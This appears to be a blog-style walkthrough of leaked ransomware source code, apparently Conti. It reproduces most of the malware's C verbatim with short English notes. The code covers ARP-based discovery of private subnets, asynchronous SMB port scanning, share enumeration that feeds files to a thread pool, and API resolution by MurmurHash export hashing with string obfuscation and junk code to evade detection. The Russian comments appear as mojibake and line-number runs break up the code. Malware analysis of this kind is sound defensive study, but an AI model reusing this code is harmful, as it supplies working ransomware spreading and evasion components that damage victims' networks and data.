logs::Write(OBFW(L"GetIpNetTable fails. GetLastError = %lu"), pGetLastError());
free(IpNetTable);
return FALSE;

}

for (ULONG i = 0; i < IpNetTable->dwNumEntries; i++) {

WCHAR wszIpAddress[INET_ADDRSTRLEN];
ULONG dwAddress = IpNetTable->table[i].dwAddr;
PUCHAR HardwareAddres = IpNetTable->table[i].bPhysAddr;
ULONG HardwareAddressSize = IpNetTable->table[i].dwPhysAddrLen;

RtlSecureZeroMemory(wszIpAddress, sizeof(wszIpAddress));

IN_ADDR InAddr;
InAddr.S_un.S_addr = dwAddress;
PCHAR szIpAddress = pinet_ntoa(InAddr);
DWORD le = WSAGetLastError();

PCSTR p1 = (PCSTR)pStrStrIA(szIpAddress, OBFA("172."));
PCSTR p2 = (PCSTR)pStrStrIA(szIpAddress, OBFA("192.168."));
PCSTR p3 = (PCSTR)pStrStrIA(szIpAddress, OBFA("10."));
PCSTR p4 = (PCSTR)pStrStrIA(szIpAddress, OBFA("169."));

if (p1 == szIpAddress ||
p2 == szIpAddress ||
p3 == szIpAddress ||
p4 == szIpAddress)
{

BOOL Found = FALSE;

PSUBNET_INFO SubnetInfo = NULL;
TAILQ_FOREACH(SubnetInfo, SubnetList, Entries) {

if (!memcmp(&SubnetInfo->dwAddress, &dwAddress, 3)) {

Found = TRUE;
break;

}

}

if (!Found) {

BYTE bAddres[4];
*(ULONG*)bAddres = dwAddress;
bAddres[3] = 0;

PSUBNET_INFO NewSubnet = (PSUBNET_INFO)m_malloc(sizeof(SUBNET_INFO));
if (!NewSubnet) {
break;
}

RtlCopyMemory(&NewSubnet->dwAddress, bAddres, 4);
TAILQ_INSERT_TAIL(SubnetList, NewSubnet, Entries);

}

}
}

free(IpNetTable);
return TRUE;
}

HostHandler

  • pEnterCriticalSection(&g_CriticalSection);

    • When more than one processes access a same code segment that segment is known as critical section. Critical section contains shared variables or resources which are needed to be synchronized to maintain consistency of data variable.Critical Section in Synchronization

      • ```c
        pEnterCriticalSection(&g_CriticalSection);

        PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
        if (HostInfo == NULL) {
        pLeaveCriticalSection(&g_CriticalSection);
        pSleep(1000);
        continue;
        }
        TAILQ_REMOVE(&g_HostList, HostInfo, Entries);
        pLeaveCriticalSection(&g_CriticalSection);

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30
        31
        32
        33
        34
        35
        36
        37
        38
        39
        40
        41
        42
        43
        44
        45
        46
        47
        48
        49
        50
        51
        52
        53
        54
        55
        56
        57
        58

        - `network_scanner::PSHARE_INFO ShareInfo = TAILQ_FIRST(&ShareList);`

        - get the host's shareinfo

        - `threadpool::PutTask(threadpool::NETWORK_THREADPOOL, ShareInfo->wszSharePath);`

        ```c
        STATIC
        DWORD
        WINAPI
        HostHandler(__in PVOID pArg)
        {
        network_scanner::SHARE_LIST ShareList;
        TAILQ_INIT(&ShareList);

        while (TRUE) {

        pEnterCriticalSection(&g_CriticalSection);

        PHOST_INFO HostInfo = TAILQ_FIRST(&g_HostList);
        if (HostInfo == NULL) {

        pLeaveCriticalSection(&g_CriticalSection);
        pSleep(1000);
        continue;

        }

        TAILQ_REMOVE(&g_HostList, HostInfo, Entries);
        pLeaveCriticalSection(&g_CriticalSection);

        if (HostInfo->dwAddres == STOP_MARKER) {

        free(HostInfo);
        pExitThread(EXIT_SUCCESS);

        }

        network_scanner::EnumShares(HostInfo->wszAddress, &ShareList);
        while (!TAILQ_EMPTY(&ShareList))
        {

        network_scanner::PSHARE_INFO ShareInfo = TAILQ_FIRST(&ShareList);
        logs::Write(OBFW(L"Starting search on share %s."), ShareInfo->wszSharePath);
        threadpool::PutTask(threadpool::NETWORK_THREADPOOL, ShareInfo->wszSharePath);
        TAILQ_REMOVE(&ShareList, ShareInfo, Entries);
        free(ShareInfo);

        }

        free(HostInfo);

        }

        pExitThread(EXIT_SUCCESS);
        return EXIT_SUCCESS;
        }

CreateHostTable

  • WSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
    • socket with tcp
  • bind
    • The bind function associates a local address with a socket.
  • CreateIoCompletionPort((HANDLE)ConnectCtx->s, g_IocpHandle, CONNECT_COMPLETION_KEY, 0)
    • Creates an input/output (I/O) completion port and associates it with a specified file handle, or creates an I/O completion port that is not yet associated with a file handle, allowing association at a later time.
    • If the function succeeds, the return value is the handle to an I/O completion port
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
STATIC
BOOL
CreateHostTable()
{
PSUBNET_INFO SubnetInfo = TAILQ_FIRST(&g_SubnetList);
if (!SubnetInfo) {
return FALSE;
}

BYTE bAddres[4];
DWORD dwAddress;
RtlCopyMemory(bAddres, &SubnetInfo->dwAddress, 4);

for (BYTE i = 0; i < 255; i++) {

bAddres[3] = i;
RtlCopyMemory(&dwAddress, bAddres, 4);

PCONNECT_CONTEXT ConnectCtx = (PCONNECT_CONTEXT)pGlobalAlloc(GPTR, sizeof(CONNECT_CONTEXT));
if (!ConnectCtx) {
break;
}

ConnectCtx->dwAddres = dwAddress;
ConnectCtx->State = NOT_CONNECTED;
ConnectCtx->s = (SOCKET)pWSASocketW(AF_INET, SOCK_STREAM, IPPROTO_TCP, NULL, 0, WSA_FLAG_OVERLAPPED);
if (ConnectCtx->s == INVALID_SOCKET) {

pGlobalFree(ConnectCtx);
continue;

}

SOCKADDR_IN SockAddr;
RtlSecureZeroMemory(&SockAddr, sizeof(SockAddr));
SockAddr.sin_family = AF_INET;
SockAddr.sin_port = 0;
SockAddr.sin_addr.s_addr = INADDR_ANY;

if (pbind(ConnectCtx->s, (CONST SOCKADDR*) & SockAddr, sizeof(SockAddr)) != ERROR_SUCCESS) {

pclosesocket(ConnectCtx->s);
pGlobalFree(ConnectCtx);
continue;

}

if (!pCreateIoCompletionPort((HANDLE)ConnectCtx->s, g_IocpHandle, CONNECT_COMPLETION_KEY, 0)) {

pclosesocket(ConnectCtx->s);
pGlobalFree(ConnectCtx);
continue;

}

TAILQ_INSERT_TAIL(&g_ConnectionList, ConnectCtx, Entries);

}

TAILQ_REMOVE(&g_SubnetList, SubnetInfo, Entries);
free(SubnetInfo);
return TRUE;
}

ScanHosts

  • ConnectEx

    • The ConnectEx function establishes a connection to a specified socket, and optionally sends data once the connection is established. The ConnectEx function is only supported on connection-oriented sockets.

      • ```
        LPFN_CONNECTEX LpfnConnectex;

        BOOL LpfnConnectex(
        [in] SOCKET s,
        [in] const sockaddr *name,
        [in] int namelen,
        [in, optional] PVOID lpSendBuffer,
        [in] DWORD dwSendDataLength,
        [out] LPDWORD lpdwBytesSent,
        [in] LPOVERLAPPED lpOverlapped
        )
        {…}

        1
        2
        3
        4
        5
        6
        7
        8
        9
        10
        11
        12
        13
        14
        15
        16
        17
        18
        19
        20
        21
        22
        23
        24
        25
        26
        27
        28
        29
        30

        ```c
        STATIC
        VOID
        ScanHosts()
        {
        PCONNECT_CONTEXT ConnectCtx = NULL;
        TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

        DWORD dwBytesSent;
        SOCKADDR_IN SockAddr;
        RtlSecureZeroMemory(&SockAddr, sizeof(SockAddr));
        SockAddr.sin_family = AF_INET;
        SockAddr.sin_port = htons(SMB_PORT);
        SockAddr.sin_addr.s_addr = ConnectCtx->dwAddres;

        if (g_ConnectEx(ConnectCtx->s, (CONST SOCKADDR*) & SockAddr, sizeof(SockAddr), NULL, 0, &dwBytesSent, (LPOVERLAPPED)ConnectCtx)) {

        ConnectCtx->State = CONNECTED;
        AddHost(ConnectCtx->dwAddres);

        }
        else if (WSA_IO_PENDING == WSAGetLastError()) {

        g_ActiveOperations++;
        ConnectCtx->State = CONNECTING;

        }
        }
        }

AddHost

  • add the new-found host to the Host table
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
STATIC
BOOL
AddHost(
__in DWORD dwAddres
)
{
if (g_HostEntry) {
INT i = 0;
while (g_HostEntry->h_addr_list[i] != NULL) {
DWORD dwCurrentAddr = *(DWORD*)g_HostEntry->h_addr_list[i++];
if (dwCurrentAddr == dwAddres) {
return FALSE;
}
}
}

PHOST_INFO HostInfo = (PHOST_INFO)m_malloc(sizeof(HOST_INFO));

if (!HostInfo) {
return FALSE;
}

DWORD dwAddress = INET_ADDRSTRLEN;
SOCKADDR_IN temp;
temp.sin_addr.s_addr = dwAddres;
temp.sin_port = 0;
temp.sin_family = AF_INET;
HostInfo->dwAddres = dwAddres;

if (dwAddres != STOP_MARKER) {


if (SOCKET_ERROR == pWSAAddressToStringW((LPSOCKADDR)&temp, sizeof(temp), NULL, HostInfo->wszAddress, &dwAddres)) {

free(HostInfo);
return FALSE;

}

}

pEnterCriticalSection(&g_CriticalSection); {

TAILQ_INSERT_TAIL(&g_HostList, HostInfo, Entries);

}
pLeaveCriticalSection(&g_CriticalSection);
return TRUE;
}

PortScanHandler

this handler use the CompletionStatus,IsTimerActivated,g_ActiveOperations to control the code flow.

  • g_ActiveOperations
    • use to count the Socket.
    • ScanHosts function: when one host is found ,the value is add by one
    • if CompletionStatus == CONNECT_COMPLETION_KEY, the value sub by one.
  • IsTimerActivated
    • used to check after the timer.
      • IsTimerActivated is True,

four scenes

  1. CompletionStatus == CONNECT_COMPLETION_KEY and CompleteAsyncConnect Success

    1. if g_ActiveOperations is zero ,then scanHost again

      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13
      14
      15
      16
      17
      18
      19
      20
      21
      22
      23
      24
      25
      if (!g_ActiveOperations && IsTimerActivated) {

      while (!TAILQ_EMPTY(&g_ConnectionList)) {

      PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
      pshutdown(ConnectCtx->s, SD_SEND);
      pclosesocket(ConnectCtx->s);
      TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
      pGlobalFree(ConnectCtx);

      }

      if (!CreateHostTable()) {
      break;
      }

      ScanHosts();

      if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
      pExitThread(EXIT_FAILURE);
      }

      IsTimerActivated = FALSE;

      }
       if (Success && CompleteAsyncConnect(ConnectContext->s)) {
       
           ConnectContext->State = CONNECTED;
           AddHost(ConnectContext->dwAddres);
       
       }
      
  2. CompletionStatus == CONNECT_COMPLETION_KEY and CompleteAsyncConnect fail

    1. the same as before
1
2
3
4
5
else {

ConnectContext->State = NOT_CONNECTED;

}
  1. CompletionStatus == TIMER_COMPLETION_KEY and g_ActiveOperations, so the connecting is Active.We can Cancel it now.
1
2
3
4
5
6
7
8
9
10
11
12
if (g_ActiveOperations) {

PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

if (ConnectCtx->State == CONNECTING) {
pCancelIo((HANDLE)ConnectCtx->s);
}

}

}
  1. CompletionStatus == TIMER_COMPLETION_KEY and g_ActiveOperations == 0 , the socket is out-of-time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
else {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;
}
  • CompletionStatus

    • A pointer to a variable that receives the completion key value associated with the file handle whose I/O operation has completed. A completion key is a per-file key that is specified in a call to CreateIoCompletionPort.
      • START_COMPLETION_KEY
      • CONNECT_COMPLETION_KEY
      • TIMER_COMPLETION_KEY
  • PortScanHandler

    • pGetQueuedCompletionStatus
    • pPostQueuedCompletionStatus
    • CancelIo
      • Cancels all pending input and output (I/O) operations that are issued by the calling thread for the specified file. The function does not cancel I/O operations that other threads issue for a file handle.
    • shutdown
      • The shutdown function disables sends or receives on a socket.
  • TimerCallback

    •   if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
                        pExitThread(EXIT_FAILURE);
        }
        
      1
      2
      3
      4
      5
      6
      7
      8
      9
      10
      11
      12
      13

      - a callback function that used with PostQueuedCompletionStatus.

      - ```c
      BOOL CreateTimerQueueTimer(
      [out] PHANDLE phNewTimer,
      [in, optional] HANDLE TimerQueue,
      [in] WAITORTIMERCALLBACK Callback,
      [in, optional] PVOID Parameter,
      [in] DWORD DueTime,
      [in] DWORD Period,
      [in] ULONG Flags
      );
    • The amount of time in milliseconds relative to the current time that must elapse before the timer is signaled for the first time.

    • so 30000 / 1000 = 30s, one call to the Callback function(TimerCallback),if connection is set then CancelIo it .if not ,then shutdown or close the socket

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
STATIC
DWORD
WINAPI
PortScanHandler(PVOID pArg)
{
g_ActiveOperations = 0;
HANDLE hTimer = NULL;
BOOL IsTimerActivated = FALSE;

HANDLE hTimerQueue = pCreateTimerQueue();
if (!hTimerQueue) {
pExitThread(EXIT_FAILURE);
}

while (TRUE) {

DWORD dwBytesTransferred;
ULONG_PTR CompletionStatus;
PCONNECT_CONTEXT ConnectContext;

BOOL Success = (BOOL)pGetQueuedCompletionStatus(g_IocpHandle, &dwBytesTransferred, &CompletionStatus, (LPOVERLAPPED*)&ConnectContext, INFINITE);

if (CompletionStatus == START_COMPLETION_KEY) {

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;

} else if (CompletionStatus == CONNECT_COMPLETION_KEY) {

g_ActiveOperations--;

if (Success && CompleteAsyncConnect(ConnectContext->s)) {

ConnectContext->State = CONNECTED;
AddHost(ConnectContext->dwAddres);

} else {

ConnectContext->State = NOT_CONNECTED;

}

if (!g_ActiveOperations && IsTimerActivated) {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;

}

} else if (CompletionStatus == TIMER_COMPLETION_KEY) {

IsTimerActivated = TRUE;

if (g_ActiveOperations) {

PCONNECT_CONTEXT ConnectCtx = NULL;
TAILQ_FOREACH(ConnectCtx, &g_ConnectionList, Entries) {

if (ConnectCtx->State == CONNECTING) {
pCancelIo((HANDLE)ConnectCtx->s);
}

}

} else {

while (!TAILQ_EMPTY(&g_ConnectionList)) {

PCONNECT_CONTEXT ConnectCtx = TAILQ_FIRST(&g_ConnectionList);
pshutdown(ConnectCtx->s, SD_SEND);
pclosesocket(ConnectCtx->s);
TAILQ_REMOVE(&g_ConnectionList, ConnectCtx, Entries);
pGlobalFree(ConnectCtx);

}

if (!CreateHostTable()) {
break;
}

ScanHosts();

if (!pCreateTimerQueueTimer(&hTimer, hTimerQueue, &TimerCallback, NULL, 30000, 0, 0)) {
pExitThread(EXIT_FAILURE);
}

IsTimerActivated = FALSE;
}

}

}

pDeleteTimerQueue(hTimerQueue);
pExitThread(EXIT_SUCCESS);
return EXIT_SUCCESS;
}

Reference:

MSDN

[Critical Section in Synchronization](

api

getapi

#define KERNEL32DLL_HASH 0xb26771d8

#define LOADLIBRARYA_HASH 0x439c7e33

getapi::IsRestartManagerLoadedgetapi::SetRestartManagerLoaded function is used to KillFileOwner function.It will check if Rstrtmgr.dll is loaded.

self-realize function such as my_stoi、FindChar、m_memcpy、StrLen

getapi::InitializeGetapiModule

first generate the function LoadlibraryA

  • GetKernel32
  • GetApiAddr
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
getapi::InitializeGetapiModule()
{
g_hKernel32 = GetKernel32();
morphcode(g_hKernel32);

ADDR dwLoadLibraryA;
pLoadLibraryA = (fnLoadLibraryA)GetApiAddr(g_hKernel32, LOADLIBRARYA_HASH, &dwLoadLibraryA);

morphcode(pLoadLibraryA);

if (!pLoadLibraryA) {
return FALSE;
}

g_ApiCache = (LPVOID*)malloc(API_CACHE_SIZE);

morphcode(g_ApiCache);

if (!g_ApiCache) {
return FALSE;
}

RtlSecureZeroMemory(g_ApiCache, API_CACHE_SIZE);
return TRUE;
}

getapi::GetProcAddressEx

GetProcAddress by the ModuleName or the ModuleId follow.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
enum MODULES {
KERNEL32_MODULE_ID = 15,
ADVAPI32_MODULE_ID,
NETAPI32_MODULE_ID,
IPHLPAPI_MODULE_ID,
RSTRTMGR_MODULE_ID,
USER32_MODULE_ID,
WS2_32_MODULE_ID,
SHLWAPI_MODULE_ID,
SHELL32_MODULE_ID,
OLE32_MODULE_ID,
OLEAUT32_MODULE_ID,
NTDLL_MODULE_ID
};
  • pLoadLibraryA
  • GetApiAddr get the api function address by the Hash argument
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
LPVOID
getapi::GetProcAddressEx(
__in LPCSTR ModuleName,
__in DWORD ModuleId,
__in DWORD Hash
)
{
HMODULE hModule = NULL;
ADDR ProcAddress = NULL;

LPCSTR Advapi32DLL = OBFA("Advapi32.dll");
LPCSTR Kernel32DLL = OBFA("Kernel32.dll");
LPCSTR Netapi32DLL = OBFA("Netapi32.dll");
LPCSTR IphlpapiDLL = OBFA("Iphlpapi.dll");
LPCSTR RstrtmgrDLL = OBFA("Rstrtmgr.dll");
LPCSTR Ws2_32DLL = OBFA("ws2_32.dll");
LPCSTR User32DLL = OBFA("User32.dll");
LPCSTR ShlwapiDLL = OBFA("Shlwapi.dll");
LPCSTR Shell32DLL = OBFA("Shell32.dll");
LPCSTR Ole32DLL = OBFA("Ole32.dll");
LPCSTR OleAut32DLL = OBFA("OleAut32.dll");
LPCSTR NtdllDLL = OBFA("ntdll.dll");

if (ModuleName)
{

morphcode((char*)ModuleName);

hModule = pLoadLibraryA(ModuleName);

morphcode(hModule);

if (hModule) {

ProcAddress = GetApiAddr(hModule, Hash, &ProcAddress);

morphcode(ProcAddress);

return (LPVOID)ProcAddress;

}

return (LPVOID)0;

}
else
{

switch (ModuleId)
{

case KERNEL32_MODULE_ID:
ModuleName = Kernel32DLL;
break;

case ADVAPI32_MODULE_ID:
ModuleName = Advapi32DLL;
break;

case NETAPI32_MODULE_ID:
ModuleName = Netapi32DLL;
break;

case IPHLPAPI_MODULE_ID:
ModuleName = IphlpapiDLL;
break;

case RSTRTMGR_MODULE_ID:
ModuleName = RstrtmgrDLL;
break;

case USER32_MODULE_ID:
ModuleName = User32DLL;
break;

case WS2_32_MODULE_ID:
ModuleName = Ws2_32DLL;
break;

case SHLWAPI_MODULE_ID:
ModuleName = ShlwapiDLL;
break;

case SHELL32_MODULE_ID:
ModuleName = Shell32DLL;
break;

case OLE32_MODULE_ID:
ModuleName = Ole32DLL;
break;

case OLEAUT32_MODULE_ID:
ModuleName = OleAut32DLL;
break;

case NTDLL_MODULE_ID:
ModuleName = NtdllDLL;
break;

default:
return (LPVOID)0;

}

hModule = pLoadLibraryA(ModuleName);

morphcode(hModule);

if (hModule) {

ProcAddress = GetApiAddr(hModule, Hash, &ProcAddress);

morphcode(ProcAddress);

return (LPVOID)ProcAddress;

}

}

return (LPVOID)0;
}

getapi::GetProcAddressEx2

get the api function address by Hash

1
pFunction = (BOOL(WINAPI*)(HANDLE))getapi::GetProcAddressEx2(NULL, KERNEL32_MODULE_ID, 0x1cae2a52, 109);//GetProcAddress(hKernel32, OBFA("CancelIo"));

the ApiCache is to forbid call GetProcAddressEx twice for the same function.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
LPVOID 
getapi::GetProcAddressEx2(
__in LPSTR Dll,
__in DWORD ModuleId,
__in DWORD Hash,
__in int CacheIndex
)
{
// 泽黻鲨 忸玮疣弪 噤疱?趔黻鲨?桉镱朦珞 挲?
LPVOID Addr = NULL;

Addr = g_ApiCache[CacheIndex];
morphcode(Addr);

if (!Addr) {

// 泽黻鲨?礤??挲. 项塍鬣屐 甯 噤疱??漕徉怆屐 ?挲?
Addr = GetProcAddressEx(Dll, ModuleId, Hash);

morphcode(Addr);

g_ApiCache[CacheIndex] = Addr;

}
return Addr;
}

GetForvardedProc

first, this is the .dll string.

1
2
3
4
5
6
char szDll[] = { '.','c','k','m',0 };
// 泽黻鲨 钺疣犷蜿?镥疱磬珥圜屙? 耧铕蜞
// 袜 怩钿?漕腈磬 猁螯 耱痤赅 DllName.ProcName 桦?DllName.#ProcNomber
--szDll[3];
szDll[1]++;
++szDll[2];

use the NameStr(ordNumber) to get each funtion of the dll.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
++NameStr;
if (*NameStr == '#')
{
morphcode(*NameStr);

// 褥 怆弪? 眍戾痤?趔黻鲨?
++NameStr;

morphcode(*NameStr);

DWORD OrdNomber = my_stoi(NameStr);

morphcode(OrdNomber);

return getapi::GetProcAddressEx(DLLName, 0, OrdNomber);

or this will call this part of code, use the MurmurHash2A to import the function

1
2
3
4
5
DWORD Hash = MurmurHash2A(NameStr, StrLen(NameStr), HASHING_SEED);

morphcode(Hash);

return getapi::GetProcAddressEx(DLLName, 0, Hash);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
STATIC
LPVOID
GetForvardedProc(__in PCHAR Name)
{
char szDll[] = { '.','c','k','m',0 };
// 袜 怩钿?漕腈磬 猁螯 耱痤赅 DllName.ProcName 桦?DllName.#ProcNomber
--szDll[3];
szDll[1]++;
++szDll[2];

morphcode(szDll);

if (Name == NULL) return NULL;

morphcode(Name);

char DLLName[256];
//m_memset(DLLName, 0, sizeof(DLLName));
RtlSecureZeroMemory(DLLName, 256);

morphcode(DLLName);

PCHAR NameStr = FindChar(Name, '.');
if (!NameStr) return NULL;

morphcode(NameStr);


/// 杨徼疣屐 桁 徼犭桀蝈觇
m_memcpy(DLLName, Name, NameStr - Name);

strcat(DLLName, szDll);

/// 铒疱溴?屐 桁 趔黻鲨?
++NameStr;
if (*NameStr == '#')
{
morphcode(*NameStr);

// 褥 怆弪? 眍戾痤?趔黻鲨?
++NameStr;

morphcode(*NameStr);

DWORD OrdNomber = my_stoi(NameStr);

morphcode(OrdNomber);

return getapi::GetProcAddressEx(DLLName, 0, OrdNomber);

}

DWORD Hash = MurmurHash2A(NameStr, StrLen(NameStr), HASHING_SEED);

morphcode(Hash);

return getapi::GetProcAddressEx(DLLName, 0, Hash);
}

CheckForForvardedProc

used to check if the dll function is all imported.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
BOOL CheckForForvardedProc(ADDR Addr, PIMAGE_EXPORT_DIRECTORY Table, DWORD DataSize)
{
if (Addr > (ADDR)Table) {

morphcode(Addr);

if ((Addr - (ADDR)Table < DataSize)) {

morphcode(Table);

return TRUE;

}
}
return FALSE;
}

GetFunctionAddresss

  • convert the function address that in the export function table.
  • use the Ordinal to get the RVA
  • RVA TO VA
1
2
3
4
5
6
7
8
9
10
ADDR GetFunctionAddresss(HMODULE Module, PIMAGE_EXPORT_DIRECTORY Table, LONG Ordinal)
{
PDWORD AddrTable = (PDWORD)RVATOVA(Module, Table->AddressOfFunctions);
morphcode(AddrTable);
DWORD RVA = AddrTable[Ordinal];
morphcode(RVA);
ADDR Ret = (ADDR)RVATOVA(Module, RVA);
morphcode(Ret);
return Ret;
}

ReturnAddress

this function is not called in the whole code.

void CopyMemory(

In PVOID Destination,

In const VOID *Source,

In SIZE_T Length

);

get the first 4 byte of dwAddress, then temp+=1 ,to get the three byte code(I guess it is the jmp address).It’s will Maybe used in hook.

1
2
3
4
5
6
7
8
9
10
VOID ReturnAddress(PDWORD pAddress, DWORD dwAddress)
{
DWORD temp = dwAddress + 1;
morphcode(temp);
CopyMemory(&temp, &dwAddress, sizeof(DWORD));
morphcode(temp);
temp++;
CopyMemory(pAddress, &temp, sizeof(DWORD));
morphcode(pAddress);
}

FindFunction

this function is not called.

return the Ordinary the hash in the Module’s export table.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
STATIC
INT
FindFunction(
__in HMODULE Module,
__in DWORD Hash,
__in PIMAGE_EXPORT_DIRECTORY Table
)
{
INT Ordinal = 0;
morphcode(Ordinal);

if (HIWORD(Hash) == 0)
{
// 腮屐 趔黻鲨?镱 甯 眍戾痼
Ordinal = (LOWORD(Hash)) - Table->Base;
morphcode(Ordinal);
}
else
{

PDWORD NamesTable = (DWORD*)RVATOVA(Module, Table->AddressOfNames);

morphcode(NamesTable);

PWORD OrdinalTable = (WORD*)RVATOVA(Module, Table->AddressOfNameOrdinals);

morphcode(OrdinalTable);

unsigned int i;
char* ProcName;

for (i = 0; i < Table->NumberOfNames; ++i)
{

ProcName = (char*)RVATOVA(Module, *NamesTable);
morphcode(ProcName);
DWORD ProcHash = MurmurHash2A(ProcName, StrLen(ProcName), HASHING_SEED);

if (ProcHash == Hash)
{
morphcode(Ordinal);

Ordinal = *OrdinalTable;
break;
}

// 逾咫梓桠噱?镱玷鲨??蜞犭桷?
++NamesTable;
++OrdinalTable;

}

}

return Ordinal;
}

GetApiAddr

find the ProcNameHash in the dll export function table, and then call function

  • GetFunctionAddresss get the function address,and pass to the Next function CheckForForvardedProc
  • CheckForForvardedProc check if the function is outside the export function table
    • GetForvardedProc
      • getapi::GetProcAddressEx(DLLName, 0, OrdNomber);
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
ADDR GetApiAddr(HMODULE Module, DWORD ProcNameHash, ADDR* Address)
{
/*----------- 泽黻鲨 忸玮疣弪 噤疱?趔黻鲨?镱 甯 磬玮囗棹 -----------*/
// 项塍鬣屐 噤疱?漕镱腠栩咫 PE 玎泐腩怅钼
PIMAGE_OPTIONAL_HEADER poh = (PIMAGE_OPTIONAL_HEADER)((char*)Module + ((PIMAGE_DOS_HEADER)Module)->e_lfanew + sizeof(DWORD) + sizeof(IMAGE_FILE_HEADER));

// 项塍鬣屐 噤疱?蜞犭桷?耧铕蜞
PIMAGE_EXPORT_DIRECTORY Table = (IMAGE_EXPORT_DIRECTORY*)RVATOVA(Module, poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].VirtualAddress);

DWORD DataSize = poh->DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT].Size;

INT Ordinal; // 皖戾?礤钺躅滂祛?磬?趔黻鲨?
BOOL Found = FALSE;

if (HIWORD(ProcNameHash) == 0)
{
// 腮屐 趔黻鲨?镱 甯 眍戾痼
Ordinal = (LOWORD(ProcNameHash)) - Table->Base;
}
else
{
// 腮屐 趔黻鲨?镱 眍戾痼
PDWORD NamesTable = (DWORD*)RVATOVA(Module, Table->AddressOfNames);
PWORD OrdinalTable = (WORD*)RVATOVA(Module, Table->AddressOfNameOrdinals);

unsigned int i;
char* ProcName;

for (i = 0; i < Table->NumberOfNames; ++i)
{

ProcName = (char*)RVATOVA(Module, *NamesTable);


if (MurmurHash2A(ProcName, StrLen(ProcName), HASHING_SEED) == ProcNameHash)
{
Ordinal = *OrdinalTable;
Found = TRUE;
break;
}

// 逾咫梓桠噱?镱玷鲨??蜞犭桷?
++NamesTable;
++OrdinalTable;

}

}


// 礤 磬?眍戾?
if (!Found) {

*Address = 0;
return 0;

}

